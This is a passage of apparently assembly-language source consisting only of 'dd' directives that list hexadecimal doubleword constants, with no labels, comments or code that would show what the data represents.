6B8085ECh, 0B870CBF0h, 0CFA5004Fh, 5BCA10C4h, 0B9007CD0h dd 7A766FAAh, 0B06D7543h, 29151CA4h, 4889C086h, 6C45AACh dd 6E565D00h, 1EAF4A30h, 63690188h, 74A5D610h, 287BD281h dd 1FAA8A81h, 0DCDC4F54h, 88E8001Eh, 4427C519h, 730160CBh dd 25B3D4E2h, 2FCC9BA8h, 247A0036h, 99111F61h, 390063DBh dd 9B509C8Ch, 527C468h, 87845CF9h, 1275C017h, 0DAF2DD24h dd 4ED58001h, 3C312C3Dh, 8D1DE8h, 2AE59818h, 0D1101C1Fh dd 6D7BFC00h, 21192340h, 7D7898F6h, 376000CFh, 0D717D36Bh dd 400BEFCh, 8B3896C0h, 3B2150AEh, 0A380E252h, 346E07B2h dd 2000D778h, 3DBBCEF7h, 73CA715h, 0C3FEA99Ch, 0B442F090h dd 99001D33h, 922F39E1h, 0DB6D07h, 4B689789h, 62B3524Eh dd 0F4EADF01h, 0B517DD05h, 0A2E30h, 747016B6h, 916CA521h dd 203DF4CFh, 2DF873Ah, 0DBB500F4h, 5971AEBFh, 0E31232B6h dd 0B4008A74h, 7E26987h, 2C431794h, 0B05820C4h, 0AB382AFCh dd 260CBC31h, 0B500108Dh, 0FF983392h, 485A78h, 5A2637ACh dd 88008B6Bh, 41F8B1AFh, 0BA850894h, 0B5E648h, 0D8FE839Bh dd 1F271AC6h, 0A903B006h, 0C0202848h, 0C8E10288h, 277156E7h dd 28F043Ah, 0ABBB0393h, 992484BEh, 4BC6C803h, 1FA03883h dd 0AD982B06h, 82DF660Ch, 0EEF9508Fh, 65AC2C27h, 0F1E93011h dd 0D0000399h, 1A7C96FFh, 31F51E7Fh, 42219AC6h, 1AFDF33h dd 40C1F25Fh, 66FF0A0Ch, 1C2FE58h, 231781BEh, 80F60BC3h dd 8EBC5F70h, 75F60Dh, 21C4FD0Ch, 0BAA3CEC7h, 3589B412h dd 42E38C00h, 0EFD2D9h, 7EEBF661h, 0C7AC1608h, 0C0395F00h dd 4AC5691Fh, 0A1EE52h, 7E4D0750h, 0A880BA3h, 0B1EFFC01h dd 70B33EC3h, 0C280F4h, 0F9F29964h, 0EF89334Fh, 0DDB81A00h dd 7B58DCC1h, 0ABAF007Eh, 73FEDA0Dh, 0E51FB7A2h, 5A00C5BCh dd 1227C6B4h, 0B62A00D5h, 8A3BA522h, 0FA058C0Ah, 885D601Eh dd 8B00A412h, 9EFFBEADh, 0ED7C3Bh, 2FD117A3h, 533388C4h dd 82214800h, 2CBA5538h, 259D0EB8h, 0EFA0A647h, 7631C5FDh dd 0A3709B1Eh, 0BE736200h, 987CF0h, 5ECB52E6h, 0ECC301B0h dd 926C4300h, 46C6C4D5h, 28B9006Dh, 0CC2B6A17h, 0E51CBD13h dd 0C4809DB2h, 0C7261EF5h, 5850E432h, 850052B4h, 1A8E7840h dd 407D2A4h, 684F0FB2h, 95CC4B63h, 4C2D44Ah, 2E00DE55h dd 9246DC47h, 0A7A2E1D3h, 0FA07838h, 0DA000CB4h, 0C5F95B65h dd 7EC6E699h, 131F075Dh, 61848A80h, 0FCAA71A7h, 3062EEDFh dd 22C32D29h, 3B22932Bh, 4A212272h, 2210124h, 74EF117Ch dd 1238A411h, 85641015h, 0CB08E389h, 84496D44h, 778E9D0Eh dd 4297C87Dh, 3D24361Bh, 1195F621h, 8111752Bh, 0A6911274h dd 0ED298B64h, 23536441h, 1C216512h, 0BAC43F4Dh, 1A2B009Ch dd 4A400630h, 2D00D59Dh, 3AEBF71Dh, 30311E38h, 0E5262866h dd 0CB01EC18h, 2E7F58CFh, 0ACE80FDEh, 0B22301C1h, 85405220h dd 455AC89Fh, 2C7A1439h, 0D20051F6h, 0FE950906h, 0B18C0096h dd 9E798988h, 0C50E981Bh, 0A0E69B7Ch, 54FFA46Dh, 854A3D53h dd 6C04C080h, 77ECE4F9h, 132DD01Ch, 0F752C487h, 483902E2h dd 0EBE7E04h, 0E0C7F4E3h, 24D1EDA0h, 0B505934Bh, 0CD8B832Bh dd 0C0B3F903h, 0EDDCE811h, 0B80E00A8h, 0FF3E867Ch, 9274888Dh dd 6458A61Eh, 0C0F6AF80h, 0C071BAA4h, 99BF7860h, 29008504h dd 0BEA1DFA3h, 3DC9A2B2h, 0E18386Eh, 44978A6h, 0E585C100h dd 0BD10DE3Bh, 140766Ah, 66B3C4CAh, 700B2725h, 0D200B7F5h dd 0CC5A999h, 0FA76EF3h, 66E00776h, 8114F5A0h, 11000BF4h dd 0D8CB8D5Bh, 75A490F8h, 1B681DFAh, 0DA5AC050h, 0ED992CABh dd 9CA98501h, 264B89BAh, 7DCE198Eh, 5004D820h, 4600111Eh dd 0F5444768h, 0B9F39h, 3DCA40B5h, 832E8551h, 8C412306h dd 396A8603h, 7F006D6Eh, 9BD0EF19h, 18000143h, 9239C027h dd 15B6465h, 0BE999598h, 606CBB14h, 700134F4h, 0D6FB75A1h dd 0D021C41Eh, 0FF8E89E4h, 6467F0E7h, 8FF63Dh, 786A106Dh dd 81C83847h, 2D607E00h, 62BFE70Bh, 0FE2CFC20h, 8F9D3C63h dd 0F1C53D00h, 0A6F05588h, 34581B24h, 56E4C300h, 0F8B6045h dd 48183773h, 0FBEC6120h, 0C9008D77h, 0D6F55228h, 8BC39Fh dd 2B79EBBEh, 0AE3C8374h, 0C2B53200h, 910D0385h, 147801FDh dd 90638A02h, 6F19702Eh, 1807C57Dh, 4B57E84Fh, 0BB093690h dd 6B5F05D1h, 0A5B34Ah, 81908CFCh, 58C08456h, 8F2B31A9h dd 108860B4h, 0DF8C7B4Bh, 0A648F470h, 3D310244h, 4088B241h dd 0A44D6Ch, 5438634h, 0BE2DEF21h, 12C4200h, 0E3F7324Fh dd 46EE24A2h, 0FFA60004h, 0E0B0976h, 5497A09h, 0A884A014h dd 7112D30h, 69D2D041h, 0F6FE6021h, 0E37259C4h, 0E886D00h dd 58AD3864h, 678C00D6h, 0EE5B770Ch, 94077804h, 0C469F7E9h dd 0DF102F97h, 77FFC3h, 0DBA1D3E0h, 6F5E31BEh, 0E57A9607h dd 52712908h, 84C0D430h, 0B3EF0A82h, 0C38016h, 32623F73h dd 42005172h, 9E0CDE26h, 1FE77A70h, 0C0CB2B98h, 78168BE8h dd 0EFFA3B13h, 0FA6F4800h dd 503A0496h, 0EA5C0E2Ch, 0C64761A9h, 0E57750D9h, 0C12D035h dd 0FC00BB12h, 0B6F532DFh, 0D67300E7h, 202F4426h, 770092F3h dd 0B9A77BE1h, 0F83E695h, 1957D564h, 81FD3EE0h, 560FDB51h dd 60391F54h, 0BD714A3Fh, 0ACD1004Fh, 7CC6B3A8h, 0BE0222A9h dd 0B46989AEh, 0D40061CBh, 2F8CE0h, 7C44ADBBh, 54CC0541h dd 0E3F5950Eh, 45D044Eh, 0AA5BF880h, 718E0098h, 20312EE2h dd 97EDF2h, 28CD5689h, 275188Ch, 885518E6h, 0AFC9E902h dd 80095EBAh, 23087CC8h, 11E447h, 2885499Fh, 1D8BC2F8h dd 11CE348h, 21E4794Ch, 88305410h, 74E0209Eh, 0D38E4F00h dd 3EB3DC50h, 0E972EDh, 8DA941EEh, 77624291h, 940349h dd 0F0EAFAB7h, 0F1DB0h, 0A4CF3F81h, 0E1DCA38Eh, 0FC620500h dd 2D77EA22h, 4EBD0C5Fh, 0A9700ED5h, 6723820h, 7C03A342h dd 630028D0h, 0BEC68EB3h, 721A3CD1h, 0A21D3DE3h, 0DB97F780h dd 0E131DAB8h, 88617C03h, 3E0C100Bh, 421EB938h, 6A6D397h dd 61BA65C0h, 0B276950Bh, 0BB2CA67Bh, 56AF0059h, 86CE8C22h dd 71758AAAh, 6C76E626h, 0A089410Fh, 6D15E3A6h, 99480006h dd 0A0EFDFC8h, 0E57169B3h, 13D02400h, 443B8658h, 5FC000FAh dd 8EA53853h, 0BD02409Eh, 0D69735E7h, 8DE44081h, 9020EDADh dd 27DDFBA6h, 2F849040h, 564D0024h, 785C7543h, 4A001286h dd 9A32AC6Ah, 980E201Fh, 0ECD4A095h, 4082482Bh, 0D8E5800h dd 3E73023Fh, 1BB0E405h, 16C03BC6h, 1D226B8h, 8D12BD16h dd 0FC315285h, 700D424h, 404F826Ch, 7A3D9D1h, 0A97A42B6h dd 0FECE1078h, 0C95069C0h, 961C32ECh, 9E899A0Ah, 0BA98803Bh dd 3CBAFh, 0A77D94A2h, 0A39B386h, 0B61BF907h, 0AF54B56Fh dd 3E0468C0h, 836D009Eh, 47AB791Dh, 3370E485h, 4D5FFF1Eh dd 0D8009D16h, 9631B846h, 659A00F2h, 177FDC22h, 97397445h dd 76D800BDh, 6AF4EB21h, 0A6AC0E07h, 0CF8011E1h, 905D7064h dd 0BC1A4F00h, 0B0C0A148h, 94BB005Ah, 286DC52Ch, 0F9000803h dd 0B44FCBEEh, 14899DFEh, 88888AE1h, 8EC6D100h, 3503A1C8h dd 4800E973h, 0A445648Ch, 0F7B55Eh, 1A49AE41h, 926D6684h dd 26B90D00h, 52279BF2h, 0F9610459h, 0ACFA748Dh, 6DC700B4h dd 0DA905A8Ah, 0AC030747h, 62178112h, 38E00A7Fh, 4E7CCF5Eh dd 521F2B00h, 0EB7768A1h, 117C0089h, 6E673C39h, 99029AE5h dd 0A957ACA7h, 0EE3840F6h, 5C584893h, 0F330E383h, 8176183Fh dd 0CAD907D7h, 0A2E8CD95h, 0E2580187h, 0D45360FFh, 0E51F8BCh dd 0D8EA3D03h, 0E8ECF369h, 501B598Eh, 0B8C2F4E5h, 0D68C0005h dd 1291F735h, 66B8A04Fh, 68C99500h, 0EABD2F72h, 0A7FE0098h dd 0A5A38803h, 430090E4h, 0D0323E13h, 3D780C30h, 1A8098B3h dd 38666B80h, 0B2009CACh, 7327F59Ah, 48C7EAh, 76AD1A36h dd 78A2052Bh, 34314603h, 0D0B7B185h, 0E41D70C5h, 0F8AB5E7Eh dd 0F19F0EDDh, 0E23040EFh, 35BCFAh, 0F0AFAC04h, 0ABF3C597h dd 0D6006FECh, 4886C961h, 72E5F82Fh, 0C331004Ch, 0AA4D7539h dd 8100222Ah, 1C2FB555h, 7B6A5Eh, 86B71D50h, 0FABA88B1h dd 453D8D00h, 0F7BBA892h, 8BF3001Fh, 43017B99h, 1009A141h dd 14FE3Dh, 2D2E3193h, 0D66900E3h, 6FCC4338h, 0AD05A6A1h dd 925B9DBCh, 0A7C62581h, 0BF15CB40h, 1BAC02CCh, 7ECF5F91h dd 0B0BC4460h, 1C001F71h, 0A93B4B39h, 0AA1DE5h, 3CCDF607h dd 1036CBD4h, 0EA118001h, 0C50EDF19h, 0EC85E4h, 0DDE12EBh dd 0C98A35BEh, 1F75E504h, 0D4805340h, 5E032FFh, 0DE296070h dd 0D4288147h, 0D9E1D839h, 0A927AA09h, 724280E8h, 0F4BD336Bh dd 0CB9F1F47h, 10FFC030h, 89349943h, 0E05ECD03h, 0A0E1A2D5h dd 4FEA3E8Fh, 87148009h, 4E078AD6h, 80E2C812h, 23D0E029h dd 0E16826BEh, 0CB1900A4h, 22748C6Dh, 0D2ECFB00h, 89EDBF94h dd 95AC0EB6h, 0AE808A83h, 0BCB4724Ch, 0FED3E100h, 9BBE6386h dd 384B844h, 79B173F6h, 93FF2F1Eh, 383C9488h, 19CF8024h dd 161D2517h, 74A8003Fh, 0E5467B31h, 0C0004330h, 935AFCADh dd 72B1C9h, 87EBBCF4h, 7716E9F7h, 46130D01h, 8945900Bh dd 12538EC4h, 718CFAh, 288207C6h, 0F2E4E5D7h, 20683E2Ch dd 0BB917880h, 0B5520B7h, 4A898EAFh, 0F21BAC80h, 80009DA1h dd 84CC22B0h, 0BDF615h, 42C9EAEBh, 687C089h, 0C5004BB8h dd 8A2D7E31h, 50742B7Ah, 0FA8BDC54h, 0A24900DBh, 299C8DB4h dd 0F900013Dh, 1BB6D0BFh, 38E49F65h, 0F8000CCAh, 248BDFACh dd 6977208Ch, 0E3EA93Fh, 0A09C7994h, 0FC261345h, 0B3A124DFh dd 2EDE01ACh, 0E48FBD9Bh, 0AF032CA5h, 0F8267E1Fh, 5EF08FADh dd 2A29261h, 6D084F47h, 0ECE80E9Ch, 0EFF0F1C0h, 0E6DCB400h dd 642071D1h, 855901CFh, 6EBB3D9Bh, 15A8ECFDh, 0AD751600h dd 658BC93Fh, 0A2620126h, 61C21CABh, 1EDB20E5h, 0CC5259h dd 0F75BEE1Fh, 193627h, 3AEF847Ah, 1833DF30h, 76BABB00h dd 23C421D7h, 592B003Ch, 0C1C37F60h, 11731A94h, 0BD765F00h dd 84B09172h, 98F9F490h, 0BB863B8Ch, 94DF98CCh, 6A008402h dd 6B8F851Bh, 0B01C7862h, 0D280AD1Ch, 372BD164h, 881F0082h dd 0BB42AA32h, 4006735h, 2CB90F87h, 1C558C38h, 8EEA0205h dd 8C03A9Bh, 0CA881DFCh, 4A977B00h, 0DD4BF713h, 0FF5B0104h dd 2569BAE2h, 86E8CCEDh, 5C091F3Ch, 4B790048h, 0B63B905Eh dd 6F6C0030h, 3A197B3Eh, 490305A9h, 8F60946Ah, 4C17A8BFh dd 7E9700B6h, 50BBCF75h, 380FA567h, 0AEC89278h, 85F46036h dd 794C712Dh, 27FA00CDh, 6EC95C7Ah, 6A007987h, 0EF7C5DC6h dd 0D1BDE9h, 3DF75E4h, 0A6968C2Dh, 0E6AE8F05h, 98C81B42h dd 0EA841102h, 40585DC8h, 0F7F7B8Bh, 39402259h, 0F79C00B6h dd 0ABAF51Dh, 0DE1403A4h, 0ED200996h, 0D09BA780h, 0A1830500h dd 2B4EF301h, 0A225005Bh, 96A6D462h, 0D87FDF52h, 65B0B903h dd 40F73E56h, 1DA9D0AEh, 3326C74h, 0D6F1FE3Fh, 30423CA1h dd 590BD768h, 1F4BA8Bh, 0FF5CD2A4h, 7A2530h, 51B2B54Ah dd 0A7EDCFB9h, 7417FA03h, 0B9D873D5h, 0FCE04FE4h, 3FF204F4h dd 0C3951AEBh, 62C01140h, 0D000F774h, 22B8BA3Dh, 60D869h dd 0CB0FEA05h, 6DE7F57Fh, 0C7A85C00h, 0EAC5373h, 3E510F8Ch dd 65E0FCA1h, 5D6E2CB6h, 1EBFB000h, 0E58A995h, 0E978003Eh dd 4F5F1315h, 715AEDFCh, 974D6C80h, 0A2C40041h, 93A89159h dd 0ED003F73h, 0F5860C9Ah, 1FD721DFh, 0FA4640E6h, 5242B80h dd 9E4B57C9h, 2CC6D600h, 537495E3h, 0F5A4098Fh, 4002EE1h dd 90E6BE81h, 5CFB7A00h, 6160366Bh, 0A3980026h, 23D7F137h dd 3B14661Dh, 0ADE5671h, 0BAE4ECCCh, 8B05FB00h, 0A6B7EDFh dd 0A42D5231h, 87E0019Ch, 615B9A1Ah, 0D0494404h, 69D25004h dd 1FC38B3Ch, 7B036EF7h, 0B055BC21h, 32186B36h, 0C2F01D4Ah dd 71A295C0h, 0EDB8680Fh, 93248081h, 10855Eh, 820E7D7Bh dd 0F2475891h, 0B36AF600h, 90B2A5ADh, 740300E7h, 0AFA2B0A8h dd 3A00389Fh, 6DA623C7h, 131878A9h, 0D0BE1EAEh, 0A2E0A4B4h dd 0C80ADE03h, 0C8E4728Eh, 6682E73h, 67640CFCh, 0B310C897h dd 107AC3B5h, 9B35CEh, 4BF808A2h, 5BFA3438h, 51100401h dd 925490BAh, 78C0363Fh, 0FD3EC1AAh, 7D94986Bh, 9B73E67h dd 1DDE1300h, 596D371Eh, 9471102Ch, 5C40FF17h, 0D6A54786h dd 75FD3F23h, 0F04D1C80h, 0EA0FEB69h, 70676137h, 53ECE6E0h dd 4C8A0437h, 80FA0318h dd 15FCC7ACh, 2012251Dh, 534B368Eh, 80F984D2h, 0C34948F8h dd 129B027Ch, 5F6364A6h, 2133B4E9h, 730FC810h, 287E7F00h dd 32456742h, 3A77F8ABh, 70A71923h, 0E976800h, 0C204C6B8h dd 0FD0A2D7Dh, 8B1838C0h, 54EC0F5Ah, 9240A929h, 0C103D00Ch dd 497FB100h, 7106261Ah, 4FF90064h, 0F5C83330h, 5600A8B3h dd 0AA1BB0D0h, 0E62B15h, 66847F97h, 0C7E29E47h, 0FDE7C0Fh dd 5646617Eh, 8096E48Ch, 3BA020C2h, 0EB25B6D6h, 82A4E113h dd 0BA0B5039h, 0A40456BEh, 679A80D2h, 1E008414h, 24BC8D83h dd 1D897A5h, 0A03B6A9Bh, 0C4B7D12Bh, 0FA24E631h, 5100AA12h dd 9480B6C2h, 0C17500DEh, 5D0A3FEDh, 8A0E0540h, 0C9F80DA8h dd 560508Ch, 0CBBFCD9Ch, 9A98003Ch, 0CABC86ADh, 0AC562700h dd 0D66CB499h, 0A475B0h, 0AAFFBB4Ah, 4C699764h, 1A01A690h dd 6A9661AEh, 0FFF04129h, 0C050649Fh, 3FF2821Fh, 42B26C84h dd 60BEF9C6h, 7FFBF8EFh, 103300B0h, 0CE3AAF63h, 4300AD57h dd 0B6750144h, 19D3A2BBh, 0F8A991F2h, 3C82C010h, 3BCC2000h dd 0D9154A65h, 0CD3D0008h, 0DA4C2E88h, 9BF6E801h, 94917900h dd 5B7DA495h, 2CB80Ah, 0EAABCF5Ah, 0B730E305h, 98AA5004h dd 0E480756Eh, 606FEBh, 817C291Ch, 0AD2EC8E4h, 42081600h dd 0A4526485h, 0B57E3C62h, 1BBF100h, 0D85D277Fh, 0C4000C79h dd 0E3EFD085h, 3E48C32Fh, 405AA8D9h, 0E19C9268h, 0B11C9E8Bh dd 60A5724Bh, 120D5C94h, 20E07D84h, 8C7CC678h, 6C008898h dd 0EDAC745Bh, 0B0F1648Ah, 6EDB0003h, 0C50D624h, 0BE00200Bh dd 25D9216Dh, 0F0E405E9h, 0B43D515Fh, 9AC0C5D0h, 0A9BA3964h dd 16191A03h, 0EAC0B181h, 490091ECh, 0E2980885h, 0F636C0ABh dd 0C9371E77h, 0E69600E5h, 3934DBB2h, 0FACE18C0h, 1F06970Bh dd 53F7FF83h, 60220ECDh, 6EC10401h, 13BC3C92h, 3020BB72h dd 0BEBA1h, 479C6281h, 0C44AA630h, 88A548h, 8FAA4893h dd 0F73D83Ch, 6AE7A168h, 7A86809Ch, 885D71A7h, 96487507h dd 40FFE9CCh, 0ADBD08AAh, 0D7BA3D50h, 850F770Eh, 60F6C9E7h dd 0C507C105h, 680158BCh, 0C439B902h, 0D8BB28BDh, 80046BAEh dd 78177E54h, 4DFC146Dh, 5C6858h, 76113D71h, 0D7073Fh dd 0EDBEDFE5h, 68376773h, 7D5ED302h, 40F11252h, 5A9A4F69h dd 9B200440h, 4E4D8163h, 8010BEC0h, 62269ABh, 0C8055F6h dd 0F2524627h, 29393D30h, 0FAC21CD9h, 2D148180h, 919B3EFh dd 11F3CD5h, 0C043A904h, 7BABF9ECh, 92EF7F17h, 0B5042421h dd 6D9030h, 0C3E10578h, 0D4768B21h, 2BDA0800h, 503356D3h dd 0B6F9034Bh, 29C869D7h, 7C887080h, 6D484700h, 98FB2809h dd 0D6E53AB4h, 0C9F9D389h, 0FE7900E7h, 0B7002D0Ch, 0B41E2663h dd 2A9DBCh, 4672FEDAh, 0BD136AE3h, 2B6B1A00h, 0AE3B6F74h dd 4AE68Bh, 4FBBC1Ch, 9DE99FA3h, 0E8CF48h, 9EC7FC14h, 3D5E886Ch dd 0B32674AEh, 942D02E0h, 0F8C9E3CDh, 0EB033E2h, 404C85E8h dd 0B0F31827h, 4EBE0B95h, 44C01346h, 6C3FF40Ch, 40390F6Ah dd 2CAB4037h, 484DF6h, 6831D6A0h, 35D32295h, 0FCC4D524h dd 0CBAFF100h, 28B3604Eh, 1A42C0Eh, 0D4D7D63h, 381FD2F4h dd 79300060h, 0CC2448Dh, 0CEF23D26h, 5016FE0Fh, 6EB0B8E0h dd 5A09B903h, 0DAABFFh, 0BE5F6F24h, 0FCB6039Ch, 0BFC5D0EEh dd 0A0E41800h, 6627C267h, 0BD9A008Bh, 0CF6CD705h, 7A3F82A4h dd 64B00E73h, 5BDCA496h, 676D60C0h, 3AED00BFh, 570EBDFFh dd 98B0AF71h, 82F3D207h, 120EC75h, 23D965h, 5A540AFBh dd 3D297C6Fh, 9AEF38h, 21CA40F9h, 62FC84h, 0C8C1E76Ch dd 0A811A415h, 0A526E00h, 5AD84BCDh, 0B9D2E0Fh, 37EA40F4h dd 0DD71A1F8h, 0F5812500h, 0EE38C798h, 22CC0B69h, 50A00583h dd 2BC4EF75h, 1DD23400h, 0A601FB50h, 837E0098h, 5A9D7D6Dh dd 300CEBCh, 0F6E0909Fh, 0F054F2C6h, 0DB6003F0h, 0FDCAE3F5h dd 6C770A88h, 0B8A1D17h, 0E6D91800h, 4C67900Eh, 5B0BB8FAh dd 2005F70h, 803EDEEDh, 2882B501h, 0D721EED1h, 840C6C7Ch dd 0DE5083B7h, 12FFCE00h, 0C9E4E8B5h, 0BF623DECh, 0A270BB0Ah dd 3F208024h, 0D0FE5B7Ah, 0A7093900h, 304388Fh, 0CC0C0780h dd 339F53F6h, 4DA0E1E9h, 280073DFh, 0CE9AB678h, 5F5337Fh dd 0C1C9B3D6h, 0E1D0C09Ch, 216017D8h, 5894958h, 0D4101DD6h dd 4C0280Ah, 92D89520h, 7C14A993h, 0D9E19F01h, 5C58CA54h dd 54A56130h, 5CA9108Fh, 1C2C644Eh, 0D4C00084h, 6A56A4C2h dd 0D1095170h, 24D79792h, 0ECE95978h, 6077F107h, 0D6E78F6Fh dd 0FB2E209Dh, 0E925B754h, 1CE880BDh, 28E8268Dh, 3E087112h dd 0B300DEF0h, 681BC587h, 6B01F3DDh, 0BD41F832h, 403A9272h dd 4B49C77Ch, 6707610Ah, 0BE1E7EFEh, 0F25B029Eh, 9CA074BDh dd 300FE548h, 0E88EE704h, 0CAF3AF0h, 185642DBh, 41C183F9h dd 0FBC5D855h, 0AC30AE78h, 73723925h, 0C92B1942h, 80B51202h dd 0ABFA6368h, 3234065h, 0DE57F4B2h, 87C03A62h, 54A04A08h dd 24A22747h, 0BFC2E45Eh, 99EDE0FDh, 6AD600B9h, 7CF240A0h dd 377984D8h, 4FEE8C03h, 182972FFh, 0A070016Ch, 67E6C473h dd 0C32C5C00h, 0C2A1E9BAh, 0E8BF0026h, 0C938281Ah, 0A79839FAh dd 623B89E6h, 0E0298064h, 84BC65C4h, 2F763BA8h, 8668F90Bh dd 1EB91800h, 0B40E1BF1h, 7D778Ah, 0B39A1CADh, 0F97CC5h dd 8482C07Ch, 9EC2C71Dh, 23B08954h, 0F0268B39h, 83C8880Eh dd 0ED085948h, 93038050h, 0B4280125h, 0F4EEFB1Fh, 0F004DC02h dd 57502262h, 2308E3F9h, 0D07B058h, 0F8042126h, 0C920B762h dd 1C702695h, 745D443Eh, 374B9A8h, 64F89A24h, 0D2110074h dd 4904A70h, 0BF19273Fh, 8B0846F1h, 0B12CAC28h, 8184001Eh dd 7435C889h, 0ADC12300h, 0D3F937F0h, 806D06A0h, 689CE553h dd 3C81CB00h, 89776760h, 387413E0h, 2214E49Bh, 2FBDCD00h dd 0C762AE41h, 8A66647h, 6BE421D0h, 0ECEFBD07h, 0B9E0585Eh dd 989415DDh, 950C174h, 8A240FF6h, 888C9F78h, 0FA9887BCh dd 0E607EA4h, 3054C69Ah, 0FB905845h, 7807E1DAh, 531367Ch dd 7D70A2C7h, 47CDD4h, 0A33F259Ch, 0E84AB212h, 5B98B51Dh dd 0F381040h, 9160E7h, 8E352792h, 0FDD60678h, 84559F00h dd 88DF5CEEh, 0F32A00CBh, 0A893649Ah, 12077C6Ch, 5EB5B49Dh dd 0FD61DC10h, 91770BC8h, 0C58062C4h, 4DE4590Bh, 6B9B7100h dd 70EB5F97h, 0BAF93038h, 52BC5C70h, 0D4E9D9ECh, 95003141h dd 0A3C240DCh, 186E717Ah, 3C82BD4Ch, 0B3079E55h, 3688DC4Ah dd 0D4DA16D0h, 1066004Bh, 0C5561732h, 4D008497h, 3ABAE291h dd 0B51E82h, 9B7C4CE0h, 69FAB16Ch, 1F512400h, 0C1D23B1Ah dd 0D5F80055h, 225AD70Fh, 0DA009B43h, 68CF94Dh, 1716197h dd 0AA6EF07Bh, 81D7245Eh, 375A62B9h, 9C501A3Bh, 73A7C3h dd 93F69231h, 0CD4E21B8h, 0D5E2C707h, 8420F53Ah, 4B8945h dd 9A9B6DAAh, 417AA88Ah, 2B77EF03h, 0A80B0F55h, 0EE6C4E30h dd 281F0006h, 0CEF9A702h, 0B3343FD0h, 47F11CAh, 517D5718h dd 35003D42h, 0E2FCEBDEh, 1EBA4877h, 0E6E122h, 4B36CDF8h dd 0A23FC9DCh, 0C34700D9h, 8C3A4180h, 54F90016h, 35FFB88Eh dd 2200158Bh, 1D1EBBDEh, 72BF2Bh, 2ECCCA1h, 0A7FCDC0h dd 14DCDA00h, 7A22630Dh, 0AB9700AAh, 30AFC29Fh, 0D000AED5h dd 0FCCEF356h, 782E0A4Eh, 8EA400C6h, 1C2F5B86h, 0C71CCC3h dd 680049E0h dd 0FBFC3489h, 4D08FDh, 0D87B10BCh, 909CA96Dh, 0DE7660E1h dd 0B32C1400h, 4D693397h, 135C05F3h, 80D0BE0Bh, 21D53622h dd 9924FE0Eh, 4D1500CAh, 0FEE79F7Eh, 33D09026h, 0C0580D20h dd 0F969FA00h, 0AC53DB43h, 9C0F3E2Fh, 3081093Dh, 0F3664F2Ah dd 8659C8ABh, 3C016506h, 99F453h, 0C91E31B0h, 0C38B9EDFh dd 0E4F56100h, 0CF97F39Ch, 0F2A60530h, 0C00B9055h, 2EF40FD9h dd 0D7A00C60h, 51B306Ah, 0E5698664h, 70C403h, 438EB2E4h dd 28C0BBB9h, 9D472E09h, 0E4B600D2h, 0C2D35F49h, 6800BDCEh dd 1588FC8Eh, 987451D5h, 0F9C0055h, 0F1382A3Eh, 98C0C669h dd 0D4A4F244h, 0ED1404C1h, 90036408h, 5F6D7E18h, 0E5D1C303h dd 907FDE74h, 3F01CB9Eh, 978036FDh, 0F0A61F43h, 0DF07242Eh dd 0D7A36A54h, 0E7D1FE13h, 0AF9BF9D0h, 0CA8918D9h, 565B06Eh dd 9200C679h, 0A0EE19CFh, 7A47D3h, 0E84CB6FFh, 72A1AA4h dd 0E9DABDA0h, 0E1377B13h, 0A19D4A00h, 3C753331h, 0FE0013A6h dd 0EF7C0BB9h, 49002005h, 0B1808C16h, 0E631B08h, 0A497691Fh dd 0E83E5820h, 0CAFE6087h, 6E64300h, 0ED68BE8Ch, 597B00EEh dd 0F0724A20h, 0B7381BA9h, 2AB28650h, 0C8CDC8h, 0D3E326EBh dd 1063A42Eh, 0D682A65Bh, 6AC4812h, 51600C8h, 68D53152h dd 1D306DB2h, 0EF1114Eh, 88802D4h, 0F5068E5Ch, 0DB001ED6h dd 73C3AB96h, 707E00AAh, 3FA272A5h, 6100F85Bh, 0DE660A15h dd 8C3702h, 25DC2D54h, 0FB294AEh, 3CF0095Fh, 0D8C714C1h dd 6000D867h, 0E8C5FCC3h, 0F2902CD6h, 4A36B301h, 40A654FFh dd 0A4D9DCh, 21751982h, 0E0F4B8A1h, 36D16C0Fh, 6312609Fh dd 0B0FA59E1h, 18660189h, 0BA3E072Dh, 4047C971h, 8565DFFh dd 5109B1E0h, 80B2C2h, 855FF608h, 1983001Fh, 8CB075B5h dd 70004F56h, 0E913A239h, 5F79F55h, 97E5D5BDh, 4E9C40CBh dd 9161CEA4h, 0C0199E00h, 10ECABA8h, 0E9B70415h, 0C09C0E69h dd 0E5D8391Ch, 7002B48h, 38D78395h, 5D239A60h, 5715183Eh dd 48FF8881h, 5342D5A2h, 68B23C80h, 0EEEA5CB1h, 1BE18200h dd 57737A12h, 0E4EC6Ah, 0D80255AEh, 0AAB8D19Bh, 18A50C00h dd 1A77D7A4h, 0D0B600A6h, 0E6BA473Bh, 0C700FF98h, 4C57C59Dh dd 9A7B6Dh, 3794D8DAh, 0B274FDDCh, 5F255E03h, 98441611h dd 0E0DF615h, 0BACDB94h, 23FDC6C0h, 0B40154ADh, 45A8DA49h dd 28BC1FABh, 260F5700h, 25BA2A2Bh, 0E432F501h, 0BB01B011h dd 752EA1E8h, 0F30800EDh, 0ECDAE9A5h, 0A4A811C5h, 2B00E250h dd 5B7121D3h, 3B2EED2Dh, 0B000EFAAh, 0DFE63F0Ch, 2A7F2393h dd 0A50F3Eh, 60E9814Bh, 48899116h, 5D00D69Ch, 0E14E8C4Ah dd 2D00F974h, 2E71E27Ah, 796E2276h, 0F65B0061h, 75F56772h dd 2800FA89h, 0DDDB7057h, 0E0A60EB6h, 0AD4B00FFh, 1BF3E449h dd 0E27F652Fh, 0F8FEA50Eh, 6051E066h, 0FB3753h, 0F163FFB7h dd 0DE2F42C1h, 138A24Ch, 600AEFDBh, 60EE5FC2h, 8B5518h dd 0F41EC530h, 0BE1F5C4Fh, 36266024h, 80580509h, 5932E8E8h dd 0DAE4B0h, 0E79BAC20h, 633D180Dh, 6D9FD502h, 68147EB5h dd 0AA5D40h, 0C8B1956Ch, 6D26EA34h, 65B80B04h, 59C0AD3Ch dd 1D638Eh, 0F8442030h, 0AA667C31h, 98D18302h, 80DDE95Fh dd 0A6FEDCA8h, 0F17E070Eh, 79BCEh, 7FC81AAFh, 50D7090Eh dd 790DC015h, 804497h, 39B172E9h, 0B8229BEAh, 144E2400h dd 5936A615h, 719A00EDh, 0F1F4A4C6h, 69FE46D5h, 0ED205Ch dd 5D7392BEh, 137E1Eh, 573553EEh, 36F7AB51h, 0ACEAFC00h dd 9DC66FAFh, 81AA00D0h, 0C7971337h, 1100B7D7h, 0AE790E2Fh dd 730C66EEh, 0BD1A005Ch, 0F7CE46ADh, 0F126B211h, 3B366Eh dd 0AB048C09h, 9E9BD3h, 4CF9946Ah, 378ECF17h, 71927001h dd 0F24680C9h, 0F41061F0h, 